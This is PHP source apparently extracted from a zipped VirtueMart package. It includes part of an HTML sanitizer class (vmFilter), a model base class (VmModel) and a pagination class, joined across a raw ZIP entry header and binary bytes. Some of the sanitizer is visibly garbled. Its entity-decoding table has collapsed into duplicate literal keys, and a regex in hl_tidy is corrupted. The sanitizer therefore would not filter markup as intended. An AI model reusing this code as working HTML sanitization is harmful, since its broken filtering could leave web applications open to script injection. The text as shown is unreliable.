'object'=>1), 'language'=>array('script'=>1), 'name'=>array('a'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'map'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'size'=>array('hr'=>1), 'start'=>array('ol'=>1), 'type'=>array('li'=>1, 'ol'=>1, 'ul'=>1), 'value'=>array('li'=>1), 'vspace'=>array('img'=>1, 'object'=>1), 'width'=>array('hr'=>1, 'pre'=>1, 'td'=>1, 'th'=>1)); static $eAD = array('a'=>1, 'br'=>1, 'caption'=>1, 'div'=>1, 'dl'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'object'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'script'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1, 'ul'=>1); $depTr = isset($eAD[$e]) ? 1 : 0; } // attr name-vals if(strpos($a, "\x01") !== false){ $a = preg_replace('`\x01[^\x01]*\x01`', '', $a); } // No comment/CDATA sec $mode = 0; $a = trim($a, ' /'); $aA = array(); while(strlen($a)){ $w = 0; switch($mode){ case 0: // Name if(preg_match('`^[a-zA-Z][\-a-zA-Z:]+`', $a, $m)){ $nm = strtolower($m[0]); $w = $mode = 1; $a = ltrim(substr_replace($a, '', 0, strlen($m[0]))); } break; case 1: if($a[0] == '='){ // = $w = 1; $mode = 2; $a = ltrim($a, '= '); }else{ // No val $w = 1; $mode = 0; $a = ltrim($a); $aA[$nm] = ''; } break; case 2: // Val if(preg_match('`^"[^"]*"`', $a, $m) or preg_match("`^'[^']*'`", $a, $m) or preg_match("`^\s*[^\s\"']+`", $a, $m)){ $m = $m[0]; $w = 1; $mode = 0; $a = ltrim(substr_replace($a, '', 0, strlen($m))); $aA[$nm] = trim(($m[0] == '"' or $m[0] == '\'') ? substr($m, 1, -1) : $m); } break; } if($w == 0){ // Parse errs, deal with space, " & ' $a = preg_replace('`^(?:"[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*`', '', $a); $mode = 0; } } if($mode == 1){ $aA[$nm] = ''; } // clean attrs $S = vmFilter::$S; $rl = isset($S[$e]) ? $S[$e] : array(); $a = array(); $nfr = 0; foreach($aA as $k=>$v){ if(((isset($C['deny_attribute']['*']) ? isset($C['deny_attribute'][$k]) : !isset($C['deny_attribute'][$k])) or isset($rl[$k])) && ((!isset($rl['n'][$k]) && !isset($rl['n']['*'])) or isset($rl[$k])) && (isset($aN[$k][$e]) or (isset($aNU[$k]) && !isset($aNU[$k][$e])))){ if(isset($aNE[$k])){ $v = $k; } elseif(!empty($lcase) && (($e != 'button' or $e != 'input') or $k == 'type')){ // Rather loose but ?not cause issues $v = (isset($aNL[($v2 = strtolower($v))])) ? $v2 : $v; } if($k == 'style' && !$C['style_pass']){ if(false !== strpos($v, '&#')){ static $sC = array(' '=>' ', ' '=>' ', 'E'=>'e', 'E'=>'e', 'e'=>'e', 'e'=>'e', 'X'=>'x', 'X'=>'x', 'x'=>'x', 'x'=>'x', 'P'=>'p', 'P'=>'p', 'p'=>'p', 'p'=>'p', 'S'=>'s', 'S'=>'s', 's'=>'s', 's'=>'s', 'I'=>'i', 'I'=>'i', 'i'=>'i', 'i'=>'i', 'O'=>'o', 'O'=>'o', 'o'=>'o', 'o'=>'o', 'N'=>'n', 'N'=>'n', 'n'=>'n', 'n'=>'n', 'U'=>'u', 'U'=>'u', 'u'=>'u', 'u'=>'u', 'R'=>'r', 'R'=>'r', 'r'=>'r', 'r'=>'r', 'L'=>'l', 'L'=>'l', 'l'=>'l', 'l'=>'l', '('=>'(', '('=>'(', ')'=>')', ')'=>')', ' '=>':', ' '=>':', '"'=>'"', '"'=>'"', '''=>"'", '''=>"'", '/'=>'/', '/'=>'/', '*'=>'*', '*'=>'*', '\'=>'\\', '\'=>'\\'); $v = strtr($v, $sC); } $v = preg_replace_callback('`(url(?:\()(?: )*(?:\'|"|&(?:quot|apos);)?)(.+?)((?:\'|"|&(?:quot|apos);)?(?: )*(?:\)))`iS', 'vmFilter::hl_prot', $v); $v = !$C['css_expression'] ? preg_replace('`expression`i', ' ', preg_replace('`\\\\\S|(/|(%2f))(\*|(%2a))`i', ' ', $v)) : $v; }elseif(isset($aNP[$k]) or strpos($k, 'src') !== false or $k[0] == 'o'){ $v = str_replace("\xad", ' ', (strpos($v, '&') !== false ? str_replace(array('­', '­', '­'), ' ', $v) : $v)); $v = vmFilter::hl_prot($v, $k); if($k == 'href'){ // X-spam if($C['anti_mail_spam'] && strpos($v, 'mailto:') === 0){ $v = str_replace('@', htmlspecialchars($C['anti_mail_spam']), $v); }elseif($C['anti_link_spam']){ $r1 = $C['anti_link_spam'][1]; if(!empty($r1) && preg_match($r1, $v)){ continue; } $r0 = $C['anti_link_spam'][0]; if(!empty($r0) && preg_match($r0, $v)){ if(isset($a['rel'])){ if(!preg_match('`\bnofollow\b`i', $a['rel'])){ $a['rel'] .= ' nofollow'; } }elseif(isset($aA['rel'])){ if(!preg_match('`\bnofollow\b`i', $aA['rel'])){ $nfr = 1; } }else{$a['rel'] = 'nofollow'; } } } } } if(isset($rl[$k]) && is_array($rl[$k]) && ($v = vmFilter::hl_attrval($v, $rl[$k])) === 0){ continue; } $a[$k] = str_replace('"', '"', $v); } } if($nfr){ $a['rel'] = isset($a['rel']) ? $a['rel']. ' nofollow' : 'nofollow'; } // rqd attr static $eAR = array('area'=>array('alt'=>'area'), 'bdo'=>array('dir'=>'ltr'), 'form'=>array('action'=>''), 'img'=>array('src'=>'', 'alt'=>'image'), 'map'=>array('name'=>''), 'optgroup'=>array('label'=>''), 'param'=>array('name'=>''), 'script'=>array('type'=>'text/javascript'), 'textarea'=>array('rows'=>'10', 'cols'=>'50')); if(isset($eAR[$e])){ foreach($eAR[$e] as $k=>$v){ if(!isset($a[$k])){ $a[$k] = isset($v[0]) ? $v : $k; } } } // depr attrs if($depTr){ $c = array(); foreach($a as $k=>$v){ if($k == 'style' or !isset($aND[$k][$e])){ continue; } if($k == 'align'){ unset($a['align']); if($e == 'img' && ($v == 'left' or $v == 'right')){ $c[] = 'float: '. $v; } elseif(($e == 'div' or $e == 'table') && $v == 'center'){ $c[] = 'margin: auto'; } else{$c[] = 'text-align: '. $v; } }elseif($k == 'bgcolor'){ unset($a['bgcolor']); $c[] = 'background-color: '. $v; }elseif($k == 'border'){ unset($a['border']); $c[] = "border: {$v}px"; }elseif($k == 'bordercolor'){ unset($a['bordercolor']); $c[] = 'border-color: '. $v; }elseif($k == 'clear'){ unset($a['clear']); $c[] = 'clear: '. ($v != 'all' ? $v : 'both'); }elseif($k == 'compact'){ unset($a['compact']); $c[] = 'font-size: 85%'; }elseif($k == 'height' or $k == 'width'){ unset($a[$k]); $c[] = $k. ': '. ($v[0] != '*' ? $v. (ctype_digit($v) ? 'px' : '') : 'auto'); }elseif($k == 'hspace'){ unset($a['hspace']); $c[] = "margin-left: {$v}px; margin-right: {$v}px"; }elseif($k == 'language' && !isset($a['type'])){ unset($a['language']); $a['type'] = 'text/'. strtolower($v); }elseif($k == 'name'){ if($C['no_deprecated_attr'] == 2 or ($e != 'a' && $e != 'map')){ unset($a['name']); } if(!isset($a['id']) && preg_match('`[a-zA-Z][a-zA-Z\d.:_\-]*`', $v)){ $a['id'] = $v; } }elseif($k == 'noshade'){ unset($a['noshade']); $c[] = 'border-style: none; border: 0; background-color: gray; color: gray'; }elseif($k == 'nowrap'){ unset($a['nowrap']); $c[] = 'white-space: nowrap'; }elseif($k == 'size'){ unset($a['size']); $c[] = 'size: '. $v. 'px'; }elseif($k == 'start' or $k == 'value'){ unset($a[$k]); }elseif($k == 'type'){ unset($a['type']); static $ol_type = array('i'=>'lower-roman', 'I'=>'upper-roman', 'a'=>'lower-latin', 'A'=>'upper-latin', '1'=>'decimal'); $c[] = 'list-style-type: '. (isset($ol_type[$v]) ? $ol_type[$v] : 'decimal'); }elseif($k == 'vspace'){ unset($a['vspace']); $c[] = "margin-top: {$v}px; margin-bottom: {$v}px"; } } if(count($c)){ $c = implode('; ', $c); $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $c. ';': $c. ';'; } } // unique ID if($C['unique_ids'] && isset($a['id'])){ if(!preg_match('`^[A-Za-z][A-Za-z0-9_\-.:]*$`', ($id = $a['id'])) or (!is_null(vmFilter::$hl_Ids[$id]) && $C['unique_ids'] == 1)){ unset($a['id']); }else{ while(!is_null(vmFilter::$hl_Ids[$id])){ $id = $C['unique_ids']. $id; } vmFilter::$hl_Ids[($a['id'] = $id)] = 1; } } // xml:lang if($C['xml:lang'] && isset($a['lang'])){ $a['xml:lang'] = isset($a['xml:lang']) ? $a['xml:lang'] : $a['lang']; if($C['xml:lang'] == 2){ unset($a['lang']); } } // for transformed tag if(!empty($trt)){ $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $trt : $trt; } // return with empty ele / if(empty($C['hook_tag'])){ $aA = ''; foreach($a as $k=>$v){ $aA .= " {$k}=\"{$v}\""; } return "<{$e}{$aA}". (isset($eE[$e]) ? ' /' : ''). '>'; } else{return $C['hook_tag']($e, $a); } // eof } public static function hl_tag2(&$e, &$a, $t=1){ // transform tag if($e == 'center'){ $e = 'div'; return 'text-align: center;'; } if($e == 'dir' or $e == 'menu'){ $e = 'ul'; return ''; } if($e == 's' or $e == 'strike'){ $e = 'span'; return 'text-decoration: line-through;'; } if($e == 'u'){ $e = 'span'; return 'text-decoration: underline;'; } static $fs = array('0'=>'xx-small', '1'=>'xx-small', '2'=>'small', '3'=>'medium', '4'=>'large', '5'=>'x-large', '6'=>'xx-large', '7'=>'300%', '-1'=>'smaller', '-2'=>'60%', '+1'=>'larger', '+2'=>'150%', '+3'=>'200%', '+4'=>'300%'); if($e == 'font'){ $a2 = ''; if(preg_match('`face\s*=\s*(\'|")([^=]+?)\\1`i', $a, $m) or preg_match('`face\s*=\s*([^"])(\S+)`i', $a, $m)){ $a2 .= ' font-family: '. str_replace('"', '\'', trim($m[2])). ';'; } if(preg_match('`color\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m)){ $a2 .= ' color: '. trim($m[2]). ';'; } if(preg_match('`size\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m) && isset($fs[($m = trim($m[2]))])){ $a2 .= ' font-size: '. $fs[$m]. ';'; } $e = 'span'; return ltrim($a2); } if($t == 2){ $e = 0; return 0; } return ''; // eof } public static function hl_tidy($t, $w, $p){ // Tidy/compact HTM if(strpos(' pre,script,textarea', "$p,")){ return $t; } $t = str_replace(' ]*(?)\s+`', '`\s+`', '`(<\w[^>]*(?) `'), array(' $1', ' ', '$1'), preg_replace_callback(array('`(<(!\[CDATA\[))(.+?)(\]\]>)`sm', '`(<(!--))(.+?)(-->)`sm', '`(<(pre|script|textarea)[^>]*?>)(.+?)()`sm'), create_function('$m', 'return $m[1]. str_replace(array("<", ">", "\n", "\r", "\t", " "), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), $m[3]). $m[4];'), $t))); if(($w = strtolower($w)) == -1){ return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); } $s = strpos(" $w", 't') ? "\t" : ' '; $s = preg_match('`\d`', $w, $m) ? str_repeat($s, $m[0]) : str_repeat($s, ($s == "\t" ? 1 : 2)); $n = preg_match('`[ts]([1-9])`', $w, $m) ? $m[1] : 0; $a = array('br'=>1); $b = array('button'=>1, 'input'=>1, 'option'=>1); $c = array('caption'=>1, 'dd'=>1, 'dt'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'isindex'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'object'=>1, 'p'=>1, 'pre'=>1, 'td'=>1, 'textarea'=>1, 'th'=>1); $d = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'colgroup'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'fieldset'=>1, 'form'=>1, 'hr'=>1, 'iframe'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); ob_start(); if(isset($d[$p])){ echo str_repeat($s, ++$n); } $t = explode('<', $t); echo ltrim(array_shift($t)); for($i=-1, $j=count($t); ++$i<$j;){ $r = ''; list($e, $r) = explode('>', $t[$i]); $x = $e[0] == '/' ? 0 : (substr($e, -1) == '/' ? 1 : ($e[0] != '!' ? 2 : -1)); $y = !$x ? ltrim($e, '/') : ($x > 0 ? substr($e, 0, strcspn($e, ' ')) : 0); $e = "<$e>"; if(isset($d[$y])){ if(!$x){ echo "\n", str_repeat($s, --$n), "$e\n", str_repeat($s, $n); } else{echo "\n", str_repeat($s, $n), "$e\n", str_repeat($s, ($x != 1 ? ++$n : $n)); } echo ltrim($r); continue; } $f = "\n". str_repeat($s, $n); if(isset($c[$y])){ if(!$x){ echo $e, $f, ltrim($r); } else{echo $f, $e, $r; } }elseif(isset($b[$y])){ echo $f, $e, $r; }elseif(isset($a[$y])){ echo $e, $f, ltrim($r); }elseif(!$y){ echo $f, $e, $f, ltrim($r); }else{echo $e, $r; } } $t = preg_replace('`[\n]\s*?[\n]+`', "\n", ob_get_contents()); ob_end_clean(); if(($l = strpos(" $w", 'r') ? (strpos(" $w", 'n') ? "\r\n" : "\r") : 0)){ $t = str_replace("\n", $l, $t); } return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); // eof } public static function hl_version(){ // rel return '1.1.10'; // eof } public static function kses($t, $h, $p=array('http', 'https', 'ftp', 'news', 'nntp', 'telnet', 'gopher', 'mailto')){ // kses compat foreach($h as $k=>$v){ $h[$k]['n']['*'] = 1; } $C['cdata'] = $C['comment'] = $C['make_tag_strict'] = $C['no_deprecated_attr'] = $C['unique_ids'] = 0; $C['keep_bad'] = 1; $C['elements'] = count($h) ? strtolower(implode(',', array_keys($h))) : '-*'; $C['hook'] = 'vmFilter::kses_hook'; $C['schemes'] = '*:'. implode(',', $p); return vmFilter::$hl($t, $C, $h); // eof } public static function kses_hook($t, &$C, &$S){ // kses compat return $t; // eof } public static function loadconfig($c) { switch($c){ case 'safe': //Safest, allowing only safe HTML markup -- $config = array('safe'=>1); break; case 'allhtml': //Simplest, allowing all valid HTML markup except javascript: -- $config = array(); break; case 'admin': // Allowing all valid HTML markup including javascript: -- $config = array('schemes'=>'*:*'); break; case 'simple': //Allowing only safe HTML and the elements a, br, em, and strong -- $config = array('safe'=>1, 'elements'=>'br, em, h2, h3, h4, h5, h6, p, span, strong'); break; case 'no_js_flash': // Not allowing elements script and object -- $config = array('safe'=>1,'elements'=>'* -script -object'); break; case 'no_id_style': // Not allowing attributes id and style -- $config = array('safe'=>1,'deny_attribute'=>'id, style'); break; case 'only_link': // Permitting only attributes title and href -- $config = array('safe'=>1,'deny_attribute'=>'* -title -href'); break; case 'remove': // Remove bad/disallowed tags altogether instead of converting them to entities -- $config = array('safe'=>1,'keep_bad'=>0); // Allowing attribute title only in a and not allowing attributes id, style, or scriptable on* attributes like onclick -- // $config = array('deny_attribute'=>'title, id, style, on*'); // $spec = 'a=title'; // $out = vmFilter($in, $config, $spec); case 'text': default: //only text and br-- $config = array('elements'=>'strong', 'safe'=>1); break; } return $config; } static function mail($v){ $v = str_replace('mailto:','', $v); $v = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$v); return $v; //This does not work, I get a blank email //$regx = "@[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*\@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?@"; //return preg_replace($regx ,'', $v); } function phone($v){ $regx = "~^[0-9,+,(), ,]{1,}(,[0-9]+){0,}$~"; return preg_replace($regx ,'', $v); } static function urlcheck($v) { if (!preg_match("#(http|ftp|https)#",$v)) $v = "http://".$v ; $regx = "#(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?#"; $site = preg_replace($regx ,'', $v); if ($file = @fopen($site, 'r')) { return $v ; } else return ''; } }PK@y>\\&PP-components/com_virtuemart/helpers/vmmodel.phpnuW+A_cidName = $cidName; // Get the task $task = JRequest::getWord('task',''); if($task!=='add'){ // Get the id or array of ids. $idArray = JRequest::getVar($this->_cidName, 0, '', 'array'); if(empty($idArray[0])) $idArray[0] = 0; $this->setId((int)$idArray[0]); } $this->setToggleName('published'); } static private $_vmmodels = array(); /** * * @author Patrick Kohl * @author Max Milbers */ static function getModel($name=false){ if (!$name){ $name = JRequest::getCmd('view',''); // vmdebug('Get standard model of the view'); } $name = strtolower($name); $className = 'VirtueMartModel'.ucfirst($name); if(empty(self::$_vmmodels[strtolower($className)])){ if( !class_exists($className) ){ $modelPath = JPATH_VM_ADMINISTRATOR.DS."models".DS.$name.".php"; if( file_exists($modelPath) ){ require( $modelPath ); } else{ JError::raiseWarning( 0, 'Model '. $name .' not found.' ); echo 'File for Model '. $name .' not found.'; return false; } } self::$_vmmodels[strtolower($className)] = new $className(); return self::$_vmmodels[strtolower($className)]; } else { return self::$_vmmodels[strtolower($className)]; } } public function setIdName($idName){ $this->_idName = $idName; } public function getIdName(){ return $this->_idName; } public function getId(){ return $this->_id; } /** * Resets the id and data * * @author Max Milbers */ function setId($id){ if(is_array($id) && count($id)!==0) $id = $id[0]; if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; } return $this->_id; } public function setMainTable($maintablename,$maintable=0){ $this->_maintablename = $maintablename; if(empty($maintable)){ $this->_maintable = '#__virtuemart_'.$maintablename; } else { $this->_maintable = $maintable; } $defaultTable = $this->getTable($this->_maintablename); $this->_idName = $defaultTable->getKeyName(); $this->setDefaultValidOrderingFields($defaultTable); $this->_selectedOrdering = $this->_validOrderingFieldName[0]; } function getDefaultOrdering(){ return $this->_selectedOrdering; } function addvalidOrderingFieldName($add){ $this->_validOrderingFieldName = array_merge($this->_validOrderingFieldName,$add); } function removevalidOrderingFieldName($name){ $key=array_search($name, $this->_validOrderingFieldName); if($key!==false){ unset($this->_validOrderingFieldName[$key]) ; } } var $_tablePreFix = ''; /** * * This function sets the valid ordering fields for this model with the default table attributes * @author Max Milbers * @param unknown_type $defaultTable */ function setDefaultValidOrderingFields($defaultTable=null){ if($defaultTable===null){ $defaultTable = $this->getTable($this->_maintablename); } $this->_tablePreFix = $defaultTable->_tablePreFix; $dTableArray = get_object_vars($defaultTable); // Iterate over the object variables to build the query fields and values. foreach ($dTableArray as $k => $v){ // Ignore any internal fields. $posUnderLine = strpos ($k,'_'); if (( $posUnderLine!==false && $posUnderLine === 0) ) { continue; } // $this->_validOrderingFieldName[] = $this->_tablePreFix.$k; $this->_validOrderingFieldName[] = $k; } } function _getOrdering($preTable='') { if(empty($this->_selectedOrdering)) vmTrace('empty _getOrdering'); if(empty($this->_selectedOrderingDir)) vmTrace('empty _selectedOrderingDir'); return ' ORDER BY '.$preTable.$this->_selectedOrdering.' '.$this->_selectedOrderingDir ; } var $_validOrderingFieldName = array(); function checkFilterOrder($toCheck){ if(empty($toCheck)) return $this->_selectedOrdering; //vmdebug('checkFilterOrder',$this->_validOrderingFieldName); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $break = false; vmSetStartTime(); foreach($this->_validOrderingFieldName as $name){ if(!empty($name) and strpos($name,$toCheck)!==FALSE){ $this->_selectedOrdering = $name; $break = true; break; } } if(!$break){ $app = JFactory::getApplication(); $view = JRequest::getWord('view','virtuemart'); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order',$this->_selectedOrdering); } //vmdebug('checkValidOrderingField:'.get_class($this).' programmer choosed invalid ordering '.$toCheck.', use '.$this->_selectedOrdering); } else { $this->_selectedOrdering = $toCheck; } return $this->_selectedOrdering; } var $_validFilterDir = array('ASC','DESC'); function checkFilterDir($toCheck){ $filter_order_Dir = strtoupper($toCheck); if(empty($filter_order_Dir) or !in_array($filter_order_Dir, $this->_validFilterDir)){ // vmdebug('checkFilterDir: programmer choosed invalid ordering direction '.$filter_order_Dir,$this->_validFilterDir); // vmTrace('checkFilterDir'); $filter_order_Dir = $this->_selectedOrderingDir; $view = JRequest::getWord('view','virtuemart'); $app = JFactory::getApplication(); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order_Dir',$filter_order_Dir); } // vmdebug('checkFilterDir '.$filter_order_Dir); $this->_selectedOrderingDir = $filter_order_Dir; return $this->_selectedOrderingDir; } /** * Loads the pagination * * @author Max Milbers */ public function getPagination($perRow = 5) { if(empty($this->_limit) ){ $this->setPaginationLimits(); } $this->_pagination = new VmPagination($this->_total , $this->_limitStart, $this->_limit , $perRow ); // } // vmdebug('$this->pagination $total '.$this->_total,$this->_pagination);vmTrace('getPagination'); return $this->_pagination; } public function setPaginationLimits(){ $app = JFactory::getApplication(); $view = JRequest::getWord('view',$this->_maintablename); $limit = (int)$app->getUserStateFromRequest('com_virtuemart.'.$view.'.limit', 'limit'); if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState('limit', $limit); $this->setState('com_virtuemart.'.$view.'.limit',$limit); $this->_limit = $limit; $limitStart = $app->getUserStateFromRequest('com_virtuemart.'.$view.'.limitstart', 'limitstart', JRequest::getInt('limitstart',0), 'int'); //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil((float)$limitStart/(float)$limit) * $limit; $this->setState('limitstart', $limitStart); $this->setState('com_virtuemart.'.$view.'.limitstart',$limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart,$this->_limit); } /** * Gets the total number of entries *TODO filters and search ar not set * @author Max Milbers * @return int Total number of entries in the database */ public function getTotal() { if (empty($this->_total)) { $query = 'SELECT `'.$this->_db->getEscaped($this->_idName).'` FROM `'.$this->_db->getEscaped($this->_maintable).'`';; $this->_db->setQuery( $query ); if(!$this->_db->query()){ if(empty($this->_maintable)) vmError('Model '.get_class( $this ).' has no maintable set'); $this->_total = 0; } else { $this->_total = $this->_db->getNumRows(); } // $this->_total = $this->_getListCount($query); } return $this->_total; } public function setGetCount($withCount){ $this->_withCount = $withCount; } /** * * exeSortSearchListQuery * * @author Max Milbers * @author Patrick Kohl * @param boolean $object use single result array = 2, assoc. array = 1 or object list = 0 as return value * @param string $select the fields to select * @param string $joinedTables the string of the joined tables or the table * @param string $whereString for the where condition * @param string $groupBy * @param string $orderBy * @param string $filter_order_Dir */ public function exeSortSearchListQuery($object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false){ // vmSetStartTime('exe'); // if(USE_SQL_CALC_FOUND_ROWS){ //and the where conditions $joinedTables .="\n".$whereString."\n".$groupBy."\n".$orderBy.' '.$filter_order_Dir ; // $joinedTables .= $whereString .$groupBy .$orderBy; if($nbrReturnProducts){ $limitStart = 0; $limit = $nbrReturnProducts; $this->_withCount = false; } else if($this->_noLimit){ $this->_withCount = false; $limitStart = 0; $limit = 0; } else { $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; } if($this->_withCount){ $q = 'SELECT SQL_CALC_FOUND_ROWS '.$select.$joinedTables; } else { $q = 'SELECT '.$select.$joinedTables; } if($this->_noLimit or empty($limit)){ // vmdebug('exeSortSearchListQuery '.get_class($this).' no limit'); $this->_db->setQuery($q); } else { $this->_db->setQuery($q,$limitStart,$limit); // vmdebug('exeSortSearchListQuery '.get_class($this).' with limit'); } //vmdebug('exeSortSearchListQuery '.$orderBy .$filter_order_Dir,$q); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } if($err=$this->_db->getErrorMsg()){ vmError('exeSortSearchListQuery '.$err); } //vmdebug('my $limitStart '.$limitStart.' $limit '.$limit.' q ',$q ); if($this->_withCount){ $this->_db->setQuery('SELECT FOUND_ROWS()'); $count = $this->_db->loadResult(); if($count == false){ $count = 0; } $this->_total = $count; if($limitStart>=$count){ if(empty($limit)){ $limit = 1.0; } $limitStart = floor($count/$limit); $this->_db->setQuery($q,$limitStart,$limit); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } } // $this->getPagination(true); } else { $this->_withCount = true; } //print_r( $this->_db->_sql ); // vmdebug('my $list',$list); if(empty($this->ids)){ $errors = $this->_db->getErrorMsg(); if( !empty( $errors)){ vmdebug('exeSortSearchListQuery error in class '.get_class($this).' sql:',$this->_db->getErrorMsg()); } if($object == 2 or $object == 1){ $this->ids = array(); } } // vmTime('exeSortSearchListQuery SQL_CALC_FOUND_ROWS','exe'); return $this->ids; } /** * * @author Max Milbers * */ public function getData(){ if (empty($this->_data)) { $this->_data = $this->getTable($this->_maintablename); $this->_data->load($this->_id); //just an idea if(isset($this->_data->virtuemart_vendor_id) && empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } } return $this->_data; } public function store(&$data){ $table = $this->getTable($this->_maintablename); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } if(is_object($data)){ $_idName = $this->_idName; return $data->$_idName; } else { return $data[$this->_idName]; } } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } public function setToggleName($togglesName){ $this->_togglesName[] = $togglesName ; } /** * toggle (0/1) a field * or invert by $val for multi IDS; * @author Patrick Kohl * @param string $field the field to toggle * @param string $postName the name of id Post (Primary Key in table Class constructor) */ function toggle($field,$val = NULL, $cidname = 0,$tablename = 0 ) { $ok = true; if (!in_array($field, $this->_togglesName)) { return false ; } if($tablename === 0) $tablename = $this->_maintablename; if($cidname === 0) $cidname = $this->_cidName; $table = $this->getTable($tablename); //if(empty($cidName)) $cidName = $this->_cidName; $ids = JRequest::getVar( $cidname, JRequest::getVar('cid',array(0)), 'post', 'array' ); foreach($ids as $id){ $table->load( (int)$id ); if (!$table->toggle($field, $val)) { // if (!$table->store()) { vmError(get_class( $this ).'::toggle '.$table->getError() .' '.$id); $ok = false; } } return $ok; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function move($direction, $filter=null) { $table = $this->getTable($this->_maintablename); if (!$table->load($this->_id)) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } if (!$table->move( $direction, $filter )) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } return true; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function saveorder($cid = array(), $order, $filter = null) { $table = $this->getTable($this->_maintablename); $groupings = array(); // update ordering values for( $i=0; $i < count($cid); $i++ ) { $table->load( (int) $cid[$i] ); // track categories if ($filter) $groupings[] = $table->$filter; if ($table->ordering != $order[$i]) { $table->ordering = $order[$i]; if (!$table->store()) { vmError('VmModel saveorder '.$this->_db->getErrorMsg()); return false; } } } // execute updateOrder for each parent group if ($filter) { $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $table->reorder( $filter.' = '.(int) $group); } } return true; } /** * Since an object like product, category dont need always an image, we can attach them to the object with this function * The parameter takes a single product or arrays of products, look for BE/views/product/view.html.php * for an exampel using it * * @author Max Milbers * @param object $obj some object with a _medias xref table */ public function addImages($obj,$limit=0){ $mediaModel = VmModel::getModel('Media'); $mediaModel->attachImages($obj,$this->_maintablename,'image',$limit); } public function resetErrors(){ $this->_errors = array(); } } jimport('joomla.html.pagination'); class VmPagination extends JPagination { private $_perRow = 5; function __construct($total, $limitstart, $limit, $perRow=5){ if($perRow!==0){ $this->_perRow = $perRow; } parent::__construct($total, $limitstart, $limit); } /** Creates a dropdown box for selecting how many records to show per page. * Modification of Joomla Core libraries/html/pagination.php getLimitBox function * The function uses as sequence a generic function or a sequence configured in the vmconfig * * use in a view.html.php $vmModel->setPerRow($perRow); to activate it * * @author Joe Motacek (Cleanshooter) * @author Max Milbers * @return string The HTML for the limit # input box. * @since 11.1 */ function setSequence($sequence){ $this->_sequence = $sequence; } function getLimitBox($sequence=0) { $app = JFactory::getApplication(); // Initialize variables $limits = array (); $selected = $this->_viewall ? 0 : $this->limit; // Build the select list if ($app->isAdmin()) { if(empty($sequence)){ $sequence = VmConfig::get('pagseq',0); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', $items); } } } if(empty($limits)){ $limits[15] = JHTML::_('select.option', 15); $limits[30] = JHTML::_('select.option', 30); 